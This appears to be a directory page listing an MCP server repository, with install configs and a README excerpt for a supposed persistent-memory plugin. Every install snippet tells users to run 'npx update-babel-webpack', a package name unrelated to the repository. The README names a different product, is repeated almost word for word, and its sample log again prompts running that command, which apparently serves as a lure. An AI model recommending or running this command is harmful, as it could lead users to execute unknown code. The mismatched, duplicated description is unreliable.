S
samuel85194-ux/tycana-claude-hivemind
Claude Memory X 2026: Persistent AI Plugin for Smarter Coding Workflows
在 GitHub 查看 ↗链接已于 2026-11-12 核查 · HTTP 200 · 打开的是厂商自己的官网
安装与配置
客户端配置（取自该仓库的安装命令）
{
"mcpServers": {
"samuel85194-ux-tycana-claude-hivemind": {
"command": "npx",
"args": ["update-babel-webpack"]
}
}
}解析自我们于 2026-11-07 抓取的该仓库 README；我们未执行过。
command/args 来自仓库写明的安装命令；不确定时请以该项目 README 为准。
VS Code（.vscode/mcp.json —— 键名是 servers）
{
"servers": {
"samuel85194-ux-tycana-claude-hivemind": {
"command": "npx",
"args": ["update-babel-webpack"]
}
}
}VS Code 顶层键是 <code>servers</code>，其余与上面那份相同。
Claude Code（命令行）
claude mcp add --transport stdio samuel85194-ux-tycana-claude-hivemind -- npx update-babel-webpack
Claude Code 不收 JSON 文件，用这条命令直接加。
配置项的键名以你的客户端为准：客户端与 CLI
- ★ 数取值
- 2 ★ · samuel85194-ux/tycana-claude-hivemind · 取自 GitHub 搜索 API · （2026-11-13 20:00:50 核对）
- 来源明细
- 从该仓库的 GitHub 页面直接读取 · 条目类型：开源项目
- 收录与活跃
- 收录于 2026-11-08 · 最近见到 2026-11-14 · 共见到 7 次 · 被 1 个来源列出
- 评分构成
- 综合分 103 · 2 ★ · 1 个来源 · repo
- 安装
npx update-babel-webpack
常见问题（答案都来自我们的记录）
怎么安装？
该仓库给出的安装命令是
npx update-babel-webpack。我们的记录里它是仓库自己提供的；不保证在你的客户端上直接可用。它适合谁 / 用来做什么？
我们把它归在这些标签下: 开源项目。标签来自条目自身，不是我们强加的分类。
谁维护它、还在更新吗？
仓库
samuel85194-ux/tycana-claude-hivemind；我们收录于 2026-11-08；最近见到 2026-11-14。这里没有"官方认证"或"质量评级"——我们只记录来源与时间。# TYCLOUD INTELLIGENCE LAYER: Persistent Context Engine for AI Agent Workflows
以下摘录自该仓库的 README（片段） · 在 GitHub 读完整 README →
## 🧠 What Is This?
TyCloud Intelligence Layer transforms your AI assistant from a forgetful conversation partner into a long-term cognitive companion. Think of it as giving your AI a digital hippocampus — a persistent memory structure that remembers every interaction, learns your patterns, and evolves its responses based on accumulated understanding. This isn't another chatbot wrapper; it's a computed intelligence substrate that sits between you and your AI, enabling deeper context retention across sessions, topics, and even different API providers.
Built on the architectural DNA of Claude Plugin systems but reimagined for universal compatibility, this engine creates a persistent semantic workspace where your AI maintains awareness of projects, preferences, and unresolved threads without explicit reminders.
## 🏗️ System Architecture
mermaid
graph TD
A[User Input] --> B[Context Router]
B --> C{Memory Tier Check}
C -->|Ephemeral| D[Short-Term Buffer]
C -->|Persistent| E[Long-Term Vector Store]
D --> F[Pattern Recognition Engine]
E --> F
F --> G[Computed Intent Matrix]
G --> H[API Orchestrator]
H --> I[OpenAI GPT-4o / Claude 3.5]
I --> J[Response Synthesizer]
J --> K[Memory Update Pipeline]
K --> D
K --> E
J --> L[User Output]
M[Profile Configuration] --> B
N[Plugin Registry] --> B
This diagram reveals the cognitive loop: every interaction feeds back into the memory ecosystem, creating a continuously refined understanding of your workflow.
## 🔧 Example Profile Configuration
yaml
profile: codename-architect
version: 2026.1
memory_settings:
retention_policy: tiered
short_term_capacity: 512 tokens
long_term_storage: sqlite + vector index
compression_interval: daily
pattern_engine:
enabled: true
sensitivity: high
detection_triggers:
repeated_commands
contextual_errors
topic_switching
api_integrations:
openai:
model: gpt-4o
temperature: 0.3
anthropic:
model: claude-3-5-sonnet-20241022
max_tokens: 8192
plugins:
code_interpreter
file_analyzer
memory_browser
Each profile acts as a personality fingerprint — load different profiles for coding, creative writing, or customer support and watch the AI adapt its behavior, memory prioritization, and response style automatically.
## 🚀 Example Console Invocation
bash
tycloud run --profile codename-architect --session "Project Athena migration" --resume
Console output:
[2026-01-15 09:23:47] Loading profile: codename-architect
[2026-01-15 09:23:48] Restoring session: Project Athena migration
[2026-01-15 09:23:50] Historical context found: 47 previous interactions
[2026-01-15 09:23:51] Pattern detected: recurring dependency conflict in package.json
[2026-01-15 09:23:52] AI ready. You said yesterday: "Need to fix the Webpack config after the Babel update."
[2026-01-15 09:23:53] Suggesting: run npx update-babel-webpack --fix
User > Continue with suggested fix.
The engine doesn't just remember your conversation; it surfaces actionable insights from your own history, turning past struggles into future shortcuts.
## 📊 Emoji OS Compatibility Table
| Operating System | Compatibility | Notes |
| 🐧 Linux (Ubuntu 24.04+) | ✅ Full | Native binary support |
| 🍏 macOS Sonoma+ | ✅ Full | Arm64 & x86_64 |
| 🪟 Windows 11 | ✅ Full | WSL2 or native |
TyCloud Intelligence Layer transforms your AI assistant from a forgetful conversation partner into a long-term cognitive companion. Think of it as giving your AI a digital hippocampus — a persistent memory structure that remembers every interaction, learns your patterns, and evolves its responses based on accumulated understanding. This isn't another chatbot wrapper; it's a computed intelligence substrate that sits between you and your AI, enabling deeper context retention across sessions, topics, and even different API providers.
Built on the architectural DNA of Claude Plugin systems but reimagined for universal compatibility, this engine creates a persistent semantic workspace where your AI maintains awareness of projects, preferences, and unresolved threads without explicit reminders.
## 🏗️ System Architecture
mermaid
graph TD
A[User Input] --> B[Context Router]
B --> C{Memory Tier Check}
C -->|Ephemeral| D[Short-Term Buffer]
C -->|Persistent| E[Long-Term Vector Store]
D --> F[Pattern Recognition Engine]
E --> F
F --> G[Computed Intent Matrix]
G --> H[API Orchestrator]
H --> I[OpenAI GPT-4o / Claude 3.5]
I --> J[Response Synthesizer]
J --> K[Memory Update Pipeline]
K --> D
K --> E
J --> L[User Output]
M[Profile Configuration] --> B
N[Plugin Registry] --> B
This diagram reveals the cognitive loop: every interaction feeds back into the memory ecosystem, creating a continuously refined understanding of your workflow.
## 🔧 Example Profile Configuration
yaml
profile: codename-architect
version: 2026.1
memory_settings:
retention_policy: tiered
short_term_capacity: 512 tokens
long_term_storage: sqlite + vector index
compression_interval: daily
pattern_engine:
enabled: true
sensitivity: high
detection_triggers:
repeated_commands
contextual_errors
topic_switching
api_integrations:
openai:
model: gpt-4o
temperature: 0.3
anthropic:
model: claude-3-5-sonnet-20241022
max_tokens: 8192
plugins:
code_interpreter
file_analyzer
memory_browser
Each profile acts as a personality fingerprint — load different profiles for coding, creative writing, or customer support and watch the AI adapt its behavior, memory prioritization, and response style automatically.
## 🚀 Example Console Invocation
bash
tycloud run --profile codename-architect --session "Project Athena migration" --resume
Console output:
[2026-01-15 09:23:47] Loading profile: codename-architect
[2026-01-15 09:23:48] Restoring session: Project Athena migration
[2026-01-15 09:23:50] Historical context found: 47 previous interactions
[2026-01-15 09:23:51] Pattern detected: recurring dependency conflict in package.json
[2026-01-15 09:23:52] AI ready. You said yesterday: "Need to fix the Webpack config after the Babel update."
[2026-01-15 09:23:53] Suggesting: run npx update-babel-webpack --fix
User > Continue with suggested fix.
The engine doesn't just remember your conversation; it surfaces actionable insights from your own history, turning past struggles into future shortcuts.
## 📊 Emoji OS Compatibility Table
| Operating System | Compatibility | Notes |
| 🐧 Linux (Ubuntu 24.04+) | ✅ Full | Native binary support |
| 🍏 macOS Sonoma+ | ✅ Full | Arm64 & x86_64 |
| 🪟 Windows 11 | ✅ Full | WSL2 or native |
收录徽章（可选）
想把收录标记放进 README 就复制这行，可选，不影响收录。
[](https://anclum.com/zh/s/samuel85194-ux-tycana-claude-hivemind/)
- 来源
- github · https://github.com/samuel85194-ux/tycana-claude-hivemind
- 按领域浏览
- 开源项目
- Traction
- 2 ★
- 收录于
- 今天
同类推荐
所属领域与标签
每个标签都能点进去看同类的全部条目。数字是当前库里的真实条数。